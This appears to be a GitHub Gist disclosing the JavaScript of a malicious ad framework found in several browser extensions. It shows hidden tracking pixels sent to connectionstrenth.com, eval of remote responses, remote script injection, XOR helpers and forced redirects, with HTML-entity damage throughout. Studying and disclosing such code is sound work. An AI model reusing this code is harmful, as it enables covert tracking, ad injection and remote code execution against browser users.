Created
May 18, 2018 16:19
-
-
Save StudioMaX/62af7d906c7e3ba4df294e4e39026159 to your computer and use it in GitHub Desktop.
Malware ad-framework used in different browser extensions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(f, i, j) { | |
var g = "684a91d7f4464c3350"; | |
var b = (function() { | |
var l = 3; | |
var o = parseInt("0"); | |
var n = parseInt("0"); | |
(function() { | |
var q = ["mid=", "wid=50653", "sid=", "tid=1668", "rid=LAUNCHED"]; | |
a = (window.location.protocol == "http:" ? "http:" : "https:") + "//connectionstrenth.com/metric/?" + q.join("&"); | |
var p = f.createElement("img"); | |
p.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;"); | |
p.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
(document.head || document.documentElement).appendChild(p); | |
if (typeof p.onload != j) { | |
p.onload = function() { | |
p.parentNode & amp; & amp; | |
p.parentNode.removeChild(p) | |
} | |
} | |
})(); | |
var m = false; | |
if (typeof(MainWindow) != "undefined") { | |
window.document = MainWindow.document.parentWindow | |
} | |
if (m) { | |
return false | |
}(function(d, w, uniqId, u) { | |
var isReady = false, | |
readyQueue = [], | |
div = u, | |
$$ = {}; | |
if (typeof(JSON) === u) { | |
JSON = {} | |
} | |
function onReady() { | |
isReady = true; | |
while (readyQueue.length & gt; 0) { | |
(readyQueue.pop())() | |
} | |
} | |
if (typeof(d.getElementsByClassName) == u) { | |
d.getElementsByClassName = function(cl) { | |
var retnode = []; | |
var myclass = new RegExp("\\b" + cl + "\\b"); | |
var elem = this.getElementsByTagName("*"); | |
for (var i = 0; i & lt; elem.length; i++) { | |
var classes = elem[i].className; | |
if (myclass.test(classes)) { | |
retnode.push(elem[i]) | |
} | |
} | |
return retnode | |
} | |
} | |
$$ = w[uniqId] = { | |
l: {}, | |
isIe: !!d.attachEvent, | |
scriptDomain: "connectionstrenth.com", | |
unixTimestampNow: Math.round(new Date().getTime() / 1000), | |
optoutValue: {}, | |
limitsValue: {}, | |
currentOptoutBlock: null, | |
monetizationsConfig: {}, | |
ready: function(callback) { | |
!isReady ? readyQueue.push(callback) : callback() | |
}, | |
createEl: function(html) { | |
if (div === u) { | |
div = d.createElement("div") | |
} | |
div.innerHTML = html; | |
return div.firstChild | |
}, | |
each: function(array, callback) { | |
var i = 0, | |
length = array.length; | |
for (; i & lt; length;) { | |
if (callback(array[i], i++) === false) { | |
return true | |
} | |
} | |
}, | |
inArray: function(array, e) { | |
var i = 0, | |
length = array.length; | |
for (; i & lt; length; i++) { | |
if (e === array[i]) { | |
return true | |
} | |
} | |
return false | |
}, | |
filter: function(array, callback) { | |
var i = 0, | |
length = array.length, | |
ret = []; | |
for (; i & lt; length; i++) { | |
if (callback(array[i], i)) { | |
ret.push(array[i]) | |
} | |
} | |
return ret | |
}, | |
apply: function() { | |
var obj = {}; | |
$$.each(arguments, function(arg) { | |
for (var i in arg) { | |
obj[i] = arg[i] | |
} | |
}); | |
return obj | |
}, | |
xhrRequest: function(xhr, o) { | |
var timeoutId = u, | |
isTimedout = false, | |
$this = this; | |
function __gacb(data) { | |
o.callback(data) | |
} | |
o.url += (o.url.indexOf("?") & gt; = 0 ? "&" : "?") + "ajax"; | |
xhr.onreadystatechange = function() { | |
if (isTimedout) { | |
return | |
} | |
if (xhr.readyState === 4) { | |
if (xhr.status === 200 & amp; & amp; xhr.responseText) { | |
if (timeoutId) { | |
clearTimeout(timeoutId) | |
} | |
if (xhr.responseText.indexOf("__gacb(") & gt; - 1) { | |
eval(xhr.responseText) | |
} else { | |
o.callback($this.fromJson(xhr.responseText)) | |
} | |
} | |
} | |
}; | |
xhr.open("GET", o.url); | |
xhr.withCredentials = false; | |
timeoutId = setTimeout(function() { | |
isTimedout = true; | |
xhr.abort(); | |
$$.jsonpRequest(o) | |
} | |
o.timeout); | |
xhr.send() | |
} | |
jsonp: function(opts) { | |
var timeoutId = u | |
isTimedout = false; | |
var o = $$.apply({ | |
callback: function() {} | |
timeout: 15000 | |
onTimeout: function() {} | |
data: {} | |
} | |
opts || {}); | |
var r = Math.floor(Math.random() * 1000000000); | |
var jsonpFunction = "__twb_cb_" + r; | |
w[jsonpFunction] = function(data) { | |
if (isTimedout) { | |
return | |
} | |
if (timeoutId) { | |
clearTimeout(timeoutId) | |
} | |
o.callback(data); | |
onComplete() | |
}; | |
var onComplete = function() { | |
w[jsonpFunction] = u; | |
if (s & amp; & amp; s.parentNode) { | |
s.parentNode.removeChild(s) | |
} | |
}; | |
o.url += (o.url.indexOf("?") & gt; = 0 ? "&" : "?") + "jsonp=" + jsonpFunction + "&" + $$.toUrlParams(o.data); | |
var s = $$.script(o.url); | |
timeoutId = setTimeout(function() { | |
isTimedout = true; | |
o.onTimeout(); | |
onComplete() | |
} | |
o.timeout) | |
} | |
toUrlParams: function(formdata, numeric_prefix, arg_separator) { | |
var value | |
key | |
tmp = []; | |
var _http_build_query_helper = function(key, val, arg_separator) { | |
var k | |
tmp = []; | |
if (val === true) { | |
val = "1" | |
} else { | |
if (val === false) { | |
val = "0" | |
} | |
} | |
if (val != null) { | |
if (typeof val === "object") { | |
for (k in val) { | |
if (val[k] != null) { | |
tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator)) | |
} | |
} | |
return tmp.join(arg_separator) | |
} else { | |
if (typeof val !== "function") { | |
return w.encodeURIComponent(key) + "=" + w.encodeURIComponent(val) | |
} else { | |
return "" | |
} | |
} | |
} else { | |
return "" | |
} | |
}; | |
if (!arg_separator) { | |
arg_separator = "&" | |
} | |
for (key in formdata) { | |
value = formdata[key]; | |
if (numeric_prefix & amp; & amp; !isNaN(key)) { | |
key = String(numeric_prefix) + key | |
} | |
var query = _http_build_query_helper(key, value, arg_separator); | |
if (query !== "") { | |
tmp.push(query) | |
} | |
} | |
return tmp.join(arg_separator) | |
} | |
jsonpRequest: function(o) { | |
var timeoutId = u | |
isTimedout = false; | |
callbackName = "f" + this.randomNumber(10000, 9999999); | |
o.url += (o.url.indexOf("?") & gt; = 0 ? "&" : "?") + "jsonp=" + callbackName; | |
w[callbackName] = function(data) { | |
if (isTimedout) { | |
return | |
} | |
if (timeoutId) { | |
clearTimeout(timeoutId) | |
} | |
o.callback(data) | |
}; | |
var s = $$.script(o.url); | |
timeoutId = setTimeout(function() { | |
isTimedout = true; | |
s.parentNode.removeChild(s); | |
o.onTimeout() | |
} | |
o.timeout) | |
} | |
toJson: JSON.stringify || function(obj) { | |
var t = typeof(obj); | |
if (t != "object" || obj === null) { | |
if (t == "string") { | |
obj = '"' + obj + '"' | |
} | |
return String(obj) | |
} else { | |
var n | |
v | |
json = [] | |
arr = (obj & amp; & amp; obj.constructor == Array); | |
for (n in obj) { | |
v = obj[n]; | |
t = typeof(v); | |
if (t == "string") { | |
v = '"' + v + '"' | |
} else { | |
if (t == "object" & amp; & amp; v !== null) { | |
v = arguments.callee(v) | |
} | |
} | |
json.push((arr ? "" : '"' + n + '":') + String(v)) | |
} | |
return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}") | |
} | |
} | |
fromJson: JSON.parse || function(str) { | |
if (str === "") { | |
str = '""' | |
} | |
eval("var p=" + str + ";"); | |
return p | |
} | |
xor: function(str) { | |
var i = 0 | |
length = str.length | |
ret = ""; | |
for (; i & lt; length;) { | |
ret += String.fromCharCode(77 ^ str.charCodeAt(i++)) | |
} | |
return ret | |
} | |
script: function(src, nocache, attributes) { | |
var s = d.createElement("script"); | |
s.type = "text/javascript"; | |
if (attributes) { | |
for (var i in attributes) { | |
s.setAttribute(i, attributes[i]) | |
} | |
} | |
s.src = src + (nocache === u || nocache ? (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()) : ""); | |
d.getElementsByTagName("body")[0].appendChild(s); | |
return s | |
} | |
includeCss: function(src) { | |
var style = d.createElement("link"); | |
if (d.getElementsByTagName("body")[0]) { | |
d.getElementsByTagName("body")[0].appendChild(style); | |
style.rel = "stylesheet"; | |
style.type = "text/css"; | |
style.href = src | |
} | |
} | |
hasClass: function(element, className) { | |
return (!!element.getAttribute("class") & amp; & amp; element.getAttribute("class").indexOf(className) & gt; - 1) | |
} | |
addClass: function(element, className) { | |
element.setAttribute("class", (!!element.getAttribute("class") ? element.getAttribute("class") + " " : "") + className) | |
} | |
removeClass: function(element, className) { | |
if (!!element.getAttribute("class")) { | |
element.setAttribute("class", element.getAttribute("class").replace(className, "")) | |
} | |
} | |
randomNumber: function(min, max) { | |
return Math.floor(Math.random() * max) + min | |
} | |
eval: function(data) { | |
var s = d.createElement("script"); | |
s.defer = true; | |
s.text = data; | |
(d.getElementsByTagName("script")[0] || d.documentElement.firstChild).parentNode.appendChild(s) | |
} | |
on: function(el, event, fn) { | |
var handler = function(event) { | |
fn.call(el, event || w.event) | |
}; | |
if (el.addEventListener) { | |
el.addEventListener(event, handler, false) | |
} else { | |
if (el.attachEvent) { | |
el.attachEvent("on" + event, handler) | |
} | |
} | |
} | |
redirect: function(url, blank) { | |
var a = d.createElement("a"); | |
a.href = url; | |
if (blank) { | |
a.target = "_blank" | |
} | |
a.__norewrite = true; | |
d.body.appendChild(a); | |
a.click(); | |
d.body.removeChild(a) | |
} | |
setCookie: function(name, value, opts) { | |
var o = opts || {} | |
expire = u; | |
if (o.expire) { | |
expire = new Date(); | |
expire.setTime(expire.getTime() + (o.expire * 1000)) | |
} | |
document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + (expire ? "; expires=" + expire.toUTCString() : "") + (o.path ? "; path=" + o.path : "") + (o.domain ? "; domain=" + o.domain : "") | |
} | |
getCookie: function(name) { | |
var value = u; | |
$$.each(d.cookie.split("; ")function(raw) { | |
var parts = raw.split("="); | |
var cookieName = decodeURIComponent(parts.shift()); | |
if (cookieName == name) { | |
value = decodeURIComponent(parts.join("=")); | |
return false | |
} | |
}); | |
return value | |
} | |
encode: function(s) { | |
var i = 0 | |
ret = "" | |
length = s.length; | |
for (; i & lt; length; i++) { | |
ret += ("%" + s.charCodeAt(i).toString(16)) | |
} | |
return ret | |
} | |
preventDefault: function(e) { | |
if (e.preventDefault) { | |
e.preventDefault() | |
} | |
return e.returnValue = false | |
} | |
remove: function(e) { | |
return e.parentNode & amp; & amp; | |
e.parentNode.removeChild(e) | |
} | |
attr: function(e, name) { | |
if (e.hasAttribute & amp; & amp; e.hasAttribute(name)) { | |
return e.getAttribute(name) | |
} else { | |
var node = e.getAttributeNode(name); | |
if (node) { | |
return node.value | |
} | |
} | |
return "" | |
} | |
updateLimits: function(block, lifetime) { | |
if (!lifetime) { | |
var mConfig = {}; | |
if (w[uniqId].monetizationsConfig & amp; & amp; w[uniqId].monetizationsConfig[block]) { | |
mConfig = w[uniqId].monetizationsConfig[block] | |
} | |
lifetime = mConfig.limit | |
} | |
if (lifetime & gt; 0) { | |
$$.limitsValue[block] = $$.unixTimestampNow + parseInt(lifetime); | |
var cookieValue = $$.toJson($$.limitsValue); | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/limit" | |
data: { | |
key: "684a91d7f4464c3350" | |
cv: cookieValue | |
} | |
callback: function(response) {} | |
}) | |
} else {} | |
} | |
setStartTime: function() { | |
var cookieValue = $$.unixTimestampNow; | |
$$.jsonp({ | |
url: (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/optout/set/strtm" | |
data: { | |
key: "684a91d7f4464c3350" | |
cv: cookieValue | |
} | |
callback: function(response) {} | |
}) | |
} | |
loadedCallback: function(code, block, custom1, custom2, custom3, custom4, custom5) { | |
if (typeof block == "undefined") { | |
block = "" | |
} | |
var params = ["mid=" + block "wid=50653" | |
"sid=" + ((w[uniqId] & amp; & amp; w[uniqId].tbParams & amp; & amp; w[uniqId].tbParams.sid) ? w[uniqId].tbParams.sid : "") | |
"tid=1668" | |
"rid=" + code | |
]; | |
if (custom1) { | |
params.push("custom1=" + custom1) | |
} | |
if (custom2) { | |
params.push("custom2=" + custom2) | |
} | |
if (custom3) { | |
params.push("custom3=" + custom3) | |
} | |
if (custom4) { | |
params.push("custom4=" + custom4) | |
} | |
if (custom5) { | |
params.push("custom5=" + custom5) | |
} | |
var src = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + w[uniqId].scriptDomain + "/metric/?" + params.join("&"); | |
var imgEl = d.createElement("img"); | |
imgEl.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;"); | |
imgEl.src = src + (src.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
d.getElementsByTagName("body")[0].appendChild(imgEl); | |
$$.on(imgEl, "load", function() { | |
$$.remove(imgEl) | |
}) | |
} | |
reportSetCallback: function(response) {} | |
host: function(url) { | |
var m = url.match(/^https?:\/\/([^\/]+)/); | |
return m ? m[1] : "" | |
} | |
optoutShow: function(block) { | |
if ($$.tbParams.optoutUrl) { | |
location.href = $$.tbParams.optoutUrl | |
} else { | |
if (!$$.twBarOptOut & amp; & amp; typeof $$.twBarOptOutInit == "function") { | |
$$.twBarOptOutInit() | |
} | |
if ($$.twBarOptOut) { | |
$$.currentOptoutBlock = block; | |
$$.twBarOptOut.style.display = "block"; | |
$$.loadedCallback("OPTOUT_SHOW", block) | |
} | |
} | |
} | |
optoutHide: function(block) { | |
if ($$.twBarOptOut) { | |
$$.twBarOptOut.style.display = "none" | |
} | |
} | |
getMonetizationConfig: function(block) { | |
if (w[uniqId].monetizationsConfig & amp; & amp; w[uniqId].monetizationsConfig[block] & amp; & amp; w[uniqId].monetizationsConfig[block].config) { | |
return w[uniqId].monetizationsConfig[block].config | |
} | |
return {} | |
} | |
}; | |
if (d.addEventListener) { | |
d.addEventListener("DOMContentLoaded", function() { | |
onReady() | |
} | |
false) | |
} else { | |
if (d.attachEvent) { | |
d.attachEvent("onreadystatechange", function() { | |
onReady() | |
}) | |
} | |
} | |
if (d.readyState) { | |
(function() { | |
if ((!$$.isIe & amp; & amp; d.readyState === "interactive") || d.readyState === "complete") { | |
onReady() | |
} else { | |
setTimeout(arguments.callee, 100) | |
} | |
})() | |
} else { | |
var toplevel = false; | |
try { | |
toplevel = window.frameElement == null | |
} catch (e) {} | |
if (d & amp; & amp; d.dElement & amp; & amp; d.dElement.doScroll & amp; & amp; toplevel) { | |
(function() { | |
try { | |
d.dElement.doScroll("left") | |
} catch (e) { | |
setTimeout(arguments.callee, 100); | |
return | |
} | |
onReady() | |
})() | |
} | |
} | |
})(document, window, "684a91d7f4464c3350", undefined);; | |
(function(aA, q) { | |
var G | |
aD | |
l | |
v | |
R | |
U | |
ag | |
aH | |
S | |
aj | |
L | |
w | |
at | |
an | |
aB | |
k | |
P | |
av = "sizzle" + -(new Date()) | |
T = aA.document | |
aE = 0 | |
ao = 0 | |
d = J() | |
au = J() | |
Q = J() | |
ah = false | |
N = function() { | |
return 0 | |
} | |
az = typeof q | |
ab = 1 & lt; & lt; | |
31 | |
Y = ({}).hasOwnProperty | |
ax = [] | |
ay = ax.pop | |
W = ax.push | |
b = ax.push | |
u = ax.slice | |
j = ax.indexOf || function(aJ) { | |
var aI = 0 | |
e = this.length; | |
for (; aI & lt; e; aI++) { | |
if (this[aI] === aJ) { | |
return aI | |
} | |
} | |
return -1 | |
} | |
c = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped" | |
x = "[\\x20\\t\\r\\n\\f]" | |
a = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+" | |
V = a.replace("w", "w#") | |
aq = "\\[" + x + "*(" + a + ")" + x + "*(?:([*^$|!~]?=)" + x + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + V + ")|)|)" + x + "*\\]", | |
s = ":(" + a + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + aq.replace(3, 8) + ")*)|.*)\\)|)", | |
z = new RegExp("^" + x + "+|((?:^|[^\\\\])(?:\\\\.)*)" + x + "+$", "g"), | |
D = new RegExp("^" + x + "* | |
" + x + " * "), | |
K = new RegExp("^" + x + "*([>+~]|" + x + ")" + x + "*"), | |
al = new RegExp(x + "*[+~]"), | |
B = new RegExp("=" + x + "*([^\\]'\"]*)" + x + "*\\]", "g"), | |
ad = new RegExp(s), | |
ae = new RegExp("^" + V + "$"), | |
am = { | |
ID: new RegExp("^#(" + a + ")"), | |
CLASS: new RegExp("^\\.(" + a + ")"), | |
TAG: new RegExp("^(" + a.replace("w", "w*") + ")") | |
ATTR: new RegExp("^" + aq) | |
PSEUDO: new RegExp("^" + s) | |
CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + x + "*(even|odd|(([+-]|)(\\d*)n|)" + x + "*(?:([+-]|)" + x + "*(\\d+)|))" + x + "*\\)|)", "i"), | |
bool: new RegExp("^(?:" + c + ")$", "i"), | |
needsContext: new RegExp("^" + x + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + x + "*((?:-\\d)?\\d*)" + x + "*\\)|)(?=[^-]|$)", "i") | |
}, | |
aa = /^[^{]+\{\s*\[native \w/, | |
ac = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, | |
h = /^(?:input|select|textarea|button)$/i, | |
t = /^h\d$/i, | |
X = /'|\\/g, | |
A = new RegExp("\\\\([\\da-f]{1,6}" + x + "?|(" + x + ")|.)", "ig"), | |
ap = function(e, aJ, i) { | |
var aI = "0x" + aJ - 65536; | |
return aI !== aI || i ? aJ : aI & lt; | |
0 ? String.fromCharCode(aI + 65536) : String.fromCharCode(aI & gt; & gt; 10 | 55296, aI & amp; 1023 | 56320) | |
}; | |
try { | |
b.apply((ax = u.call(T.childNodes)), T.childNodes); | |
ax[T.childNodes.length].nodeType | |
} catch (M) { | |
b = { | |
apply: ax.length ? function(i, e) { | |
W.apply(i, u.call(e)) | |
} : function(aK, aJ) { | |
var e = aK.length, | |
aI = 0; | |
while ((aK[e++] = aJ[aI++])) {} | |
aK.length = e - 1 | |
} | |
} | |
} | |
function E(aP, aI, aT, aV) { | |
var aU, aM, aN, aR, aS, aL, aK, e, aJ, aQ; | |
if ((aI ? aI.ownerDocument || aI : T) !== L) { | |
aj(aI) | |
} | |
aI = aI || L; | |
aT = aT || []; | |
if (!aP || typeof aP !== "string") { | |
return aT | |
} | |
if ((aR = aI.nodeType) !== 1 & amp; & amp; aR !== 9) { | |
return [] | |
} | |
if (at & amp; & amp; !aV) { | |
if ((aU = ac.exec(aP))) { | |
if ((aN = aU[1])) { | |
if (aR === 9) { | |
aM = aI.getElementById(aN); | |
if (aM & amp; & amp; aM.parentNode) { | |
if (aM.id === aN) { | |
aT.push(aM); | |
return aT | |
} | |
} else { | |
return aT | |
} | |
} else { | |
if (aI.ownerDocument & amp; & amp; | |
(aM = aI.ownerDocument.getElementById(aN)) & amp; & amp; P(aI, aM) & amp; & amp; aM.id === aN) { | |
aT.push(aM); | |
return aT | |
} | |
} | |
} else { | |
if (aU[2]) { | |
b.apply(aT, aI.getElementsByTagName(aP)); | |
return aT | |
} else { | |
if ((aN = aU[3]) & amp; & amp; aD.getElementsByClassName & amp; & amp; aI.getElementsByClassName) { | |
b.apply(aT, aI.getElementsByClassName(aN)); | |
return aT | |
} | |
} | |
} | |
} | |
if (aD.qsa & amp; & amp; | |
(!an || !an.test(aP))) { | |
e = aK = av; | |
aJ = aI; | |
aQ = aR === 9 & amp; & amp; | |
aP; | |
if (aR === 1 & amp; & amp; aI.nodeName.toLowerCase() !== "object") { | |
aL = p(aP); | |
if ((aK = aI.getAttribute("id"))) { | |
e = aK.replace(X, "\\$&") | |
} else { | |
aI.setAttribute("id", e) | |
} | |
e = "[id='" + e + "'] "; | |
aS = aL.length; | |
while (aS--) { | |
aL[aS] = e + o(aL[aS]) | |
} | |
aJ = al.test(aP) & amp; & amp; | |
aI.parentNode || aI; | |
aQ = aL.join(" | |
") | |
} | |
if (aQ) { | |
try { | |
b.apply(aT, aJ.querySelectorAll(aQ)); | |
return aT | |
} catch (aO) {} finally { | |
if (!aK) { | |
aI.removeAttribute("id") | |
} | |
} | |
} | |
} | |
} | |
return aC(aP.replace(z, "$1"), aI, aT, aV) | |
} | |
function O(e) { | |
return aa.test(e + "") | |
} | |
function J() { | |
var i = []; | |
function e(aI, aJ) { | |
if (i.push(aI += " ") & gt; v.cacheLength) { | |
delete e[i.shift()] | |
} | |
return (e[aI] = aJ) | |
} | |
return e | |
} | |
function r(e) { | |
e[av] = true; | |
return e | |
} | |
function m(i) { | |
var aJ = L.createElement("div"); | |
try { | |
return !!i(aJ) | |
} catch (aI) { | |
return false | |
} finally { | |
if (aJ.parentNode) { | |
aJ.parentNode.removeChild(aJ) | |
} | |
aJ = null | |
} | |
} | |
function aF(e, aJ, aM) { | |
e = e.split("|"); | |
var aL, aI = e.length, | |
aK = aM ? null : aJ; | |
while (aI--) { | |
if (!(aL = v.attrHandle[e[aI]]) || aL === aJ) { | |
v.attrHandle[e[aI]] = aK | |
} | |
} | |
} | |
function Z(i, e) { | |
var aI = i.getAttributeNode(e); | |
return aI & amp; & amp; | |
aI.specified ? aI.value : i[e] === true ? e.toLowerCase() : null | |
} | |
function H(i, e) { | |
return i.getAttribute(e, e.toLowerCase() === "type" ? 1 : 2) | |
} | |
function C(e) { | |
if (e.nodeName.toLowerCase() === "input") { | |
return e.defaultValue | |
} | |
} | |
function f(i, e) { | |
var aJ = e & amp; & amp; | |
i, | |
aI = aJ & amp; & amp; | |
i.nodeType === 1 & amp; & amp; | |
e.nodeType === 1 & amp; & amp; | |
(~e.sourceIndex || ab) - (~i.sourceIndex || ab); | |
if (aI) { | |
return aI | |
} | |
if (aJ) { | |
while ((aJ = aJ.nextSibling)) { | |
if (aJ === e) { | |
return -1 | |
} | |
} | |
} | |
return i ? 1 : -1 | |
} | |
function F(e) { | |
return function(aI) { | |
var i = aI.nodeName.toLowerCase(); | |
return i === "input" & amp; & amp; | |
aI.type === e | |
} | |
} | |
function g(e) { | |
return function(aI) { | |
var i = aI.nodeName.toLowerCase(); | |
return (i === "input" || i === "button") & amp; & amp; | |
aI.type === e | |
} | |
} | |
function ar(e) { | |
return r(function(i) { | |
i = +i; | |
return r(function(aI, aM) { | |
var aK, aJ = e([], aI.length, i), | |
aL = aJ.length; | |
while (aL--) { | |
if (aI[(aK = aJ[aL])]) { | |
aI[aK] = !(aM[aK] = aI[aK]) | |
} | |
} | |
}) | |
}) | |
} | |
U = E.isXML = function(e) { | |
var i = e & amp; & amp; | |
(e.ownerDocument || e).documentElement; | |
return i ? i.nodeName !== "HTML" : false | |
}; | |
aD = E.support = {}; | |
aj = E.setDocument = function(e) { | |
var i = e ? e.ownerDocument || e : T; | |
if (i === L || i.nodeType !== 9 || !i.documentElement) { | |
return L | |
} | |
L = i; | |
w = i.documentElement; | |
at = !U(i); | |
aD.attributes = m(function(aI) { | |
aI.innerHTML = "<a href='#'></a>"; | |
aF("type|href|height|width", H, aI.firstChild.getAttribute("href") === "#"); | |
aF(c, Z, aI.getAttribute("disabled") == null); | |
aI.className = "i"; | |
return !aI.getAttribute("className") | |
}); | |
aD.input = m(function(aI) { | |
aI.innerHTML = "<input>"; | |
aI.firstChild.setAttribute("value", ""); | |
return aI.firstChild.getAttribute("value") === "" | |
}); | |
aF("value", C, aD.attributes & amp; & amp; aD.input); | |
aD.getElementsByTagName = m(function(aI) { | |
aI.appendChild(i.createComment("")); | |
return !aI.getElementsByTagName("*").length | |
}); | |
aD.getElementsByClassName = m(function(aI) { | |
aI.innerHTML = "<div class='a'></div><div class='a i'></div>"; | |
aI.firstChild.className = "i"; | |
return aI.getElementsByClassName("i").length === 2 | |
}); | |
aD.getById = m(function(aI) { | |
w.appendChild(aI).id = av; | |
return !i.getElementsByName || !i.getElementsByName(av).length | |
}); | |
if (aD.getById) { | |
v.find.ID = function(aK, aJ) { | |
if (typeof aJ.getElementById !== az & amp; & amp; at) { | |
var aI = aJ.getElementById(aK); | |
return aI & amp; & amp; | |
aI.parentNode ? [aI] : [] | |
} | |
}; | |
v.filter.ID = function(aJ) { | |
var aI = aJ.replace(A, ap); | |
return function(aK) { | |
return aK.getAttribute("id") === aI | |
} | |
} | |
} else { | |
delete v.find.ID; | |
v.filter.ID = function(aJ) { | |
var aI = aJ.replace(A, ap); | |
return function(aL) { | |
var aK = typeof aL.getAttributeNode !== az & amp; & amp; | |
aL.getAttributeNode("id"); | |
return aK & amp; & amp; | |
aK.value === aI | |
} | |
} | |
} | |
v.find.TAG = aD.getElementsByTagName ? function(aI, aJ) { | |
if (typeof aJ.getElementsByTagName !== az) { | |
return aJ.getElementsByTagName(aI) | |
} | |
} : function(aI, aM) { | |
var aN, aL = [], | |
aK = 0, | |
aJ = aM.getElementsByTagName(aI); | |
if (aI === "*") { | |
while ((aN = aJ[aK++])) { | |
if (aN.nodeType === 1) { | |
aL.push(aN) | |
} | |
} | |
return aL | |
} | |
return aJ | |
}; | |
v.find.CLASS = aD.getElementsByClassName & amp; & amp; | |
function(aJ, aI) { | |
if (typeof aI.getElementsByClassName !== az & amp; & amp; at) { | |
return aI.getElementsByClassName(aJ) | |
} | |
}; | |
aB = []; | |
an = []; | |
if ((aD.qsa = O(i.querySelectorAll))) { | |
m(function(aI) { | |
aI.innerHTML = "<select><option selected=''></option></select>"; | |
if (!aI.querySelectorAll("[selected]").length) { | |
an.push("\\[" + x + "*(?:value|" + c + ")") | |
} | |
if (!aI.querySelectorAll(":checked").length) { | |
an.push(":checked") | |
} | |
}); | |
m(function(aJ) { | |
var aI = i.createElement("input"); | |
aI.setAttribute("type", "hidden"); | |
aJ.appendChild(aI).setAttribute("t", ""); | |
if (aJ.querySelectorAll("[t^='']").length) { | |
an.push("[*^$]=" + x + "*(?:''|\"\")") | |
} | |
if (!aJ.querySelectorAll(":enabled").length) { | |
an.push(":enabled", ":disabled") | |
} | |
aJ.querySelectorAll("*: x "); | |
an.push(" | |
.*: ") | |
}) | |
} | |
if ((aD.matchesSelector = O((k = w.webkitMatchesSelector || w.mozMatchesSelector || w.oMatchesSelector || w.msMatchesSelector)))) { | |
m(function(aI) { | |
aD.disconnectedMatch = k.call(aI, "div"); | |
k.call(aI, "[s!='']:x"); | |
aB.push("!=", s) | |
}) | |
} | |
an = an.length & amp; & amp; new RegExp(an.join("|")); aB = aB.length & amp; & amp; new RegExp(aB.join("|")); P = O(w.contains) || w.compareDocumentPosition ? function(aJ, aI) { | |
var aL = aJ.nodeType === 9 ? aJ.documentElement : aJ, | |
aK = aI & amp; & amp; | |
aI.parentNode; | |
return aJ === aK || !!(aK & amp; & amp; aK.nodeType === 1 & amp; & amp; | |
(aL.contains ? aL.contains(aK) : aJ.compareDocumentPosition & amp; & amp; aJ.compareDocumentPosition(aK) & amp; 16)) | |
} : function(aJ, aI) { | |
if (aI) { | |
while ((aI = aI.parentNode)) { | |
if (aI === aJ) { | |
return true | |
} | |
} | |
} | |
return false | |
}; aD.sortDetached = m(function(aI) { | |
return aI.compareDocumentPosition(i.createElement("div")) & amp; | |
1 | |
}); N = w.compareDocumentPosition ? function(aJ, aI) { | |
if (aJ === aI) { | |
ah = true; | |
return 0 | |
} | |
var aK = aI.compareDocumentPosition & amp; & amp; | |
aJ.compareDocumentPosition & amp; & amp; | |
aJ.compareDocumentPosition(aI); | |
if (aK) { | |
if (aK & amp; 1 || (!aD.sortDetached & amp; & amp; aI.compareDocumentPosition(aJ) === aK)) { | |
if (aJ === i || P(T, aJ)) { | |
return -1 | |
} | |
if (aI === i || P(T, aI)) { | |
return 1 | |
} | |
return S ? (j.call(S, aJ) - j.call(S, aI)) : 0 | |
} | |
return aK & amp; | |
4 ? -1 : 1 | |
} | |
return aJ.compareDocumentPosition ? -1 : 1 | |
} : function(aJ, aI) { | |
var aP, aM = 0, | |
aO = aJ.parentNode, | |
aL = aI.parentNode, | |
aK = [aJ], | |
aN = [aI]; | |
if (aJ === aI) { | |
ah = true; | |
return 0 | |
} else { | |
if (!aO || !aL) { | |
return aJ === i ? -1 : aI === i ? 1 : aO ? -1 : aL ? 1 : S ? (j.call(S, aJ) - j.call(S, aI)) : 0 | |
} else { | |
if (aO === aL) { | |
return f(aJ, aI) | |
} | |
} | |
} | |
aP = aJ; | |
while ((aP = aP.parentNode)) { | |
aK.unshift(aP) | |
} | |
aP = aI; | |
while ((aP = aP.parentNode)) { | |
aN.unshift(aP) | |
} | |
while (aK[aM] === aN[aM]) { | |
aM++ | |
} | |
return aM ? f(aK[aM], aN[aM]) : aK[aM] === T ? -1 : aN[aM] === T ? 1 : 0 | |
}; | |
return i | |
}; | |
E.matches = function(i, e) { | |
return E(i, null, null, e) | |
}; | |
E.matchesSelector = function(aI, aK) { | |
if ((aI.ownerDocument || aI) !== L) { | |
aj(aI) | |
} | |
aK = aK.replace(B, "='$1']"); | |
if (aD.matchesSelector & amp; & amp; at & amp; & amp; | |
(!aB || !aB.test(aK)) & amp; & amp; | |
(!an || !an.test(aK))) { | |
try { | |
var i = k.call(aI, aK); | |
if (i || aD.disconnectedMatch || aI.document & amp; & amp; aI.document.nodeType !== 11) { | |
return i | |
} | |
} catch (aJ) {} | |
} | |
return E(aK, L, null, [aI]).length & gt; | |
0 | |
}; | |
E.contains = function(e, i) { | |
if ((e.ownerDocument || e) !== L) { | |
aj(e) | |
} | |
return P(e, i) | |
}; | |
E.attr = function(aI, e) { | |
if ((aI.ownerDocument || aI) !== L) { | |
aj(aI) | |
} | |
var i = v.attrHandle[e.toLowerCase()], | |
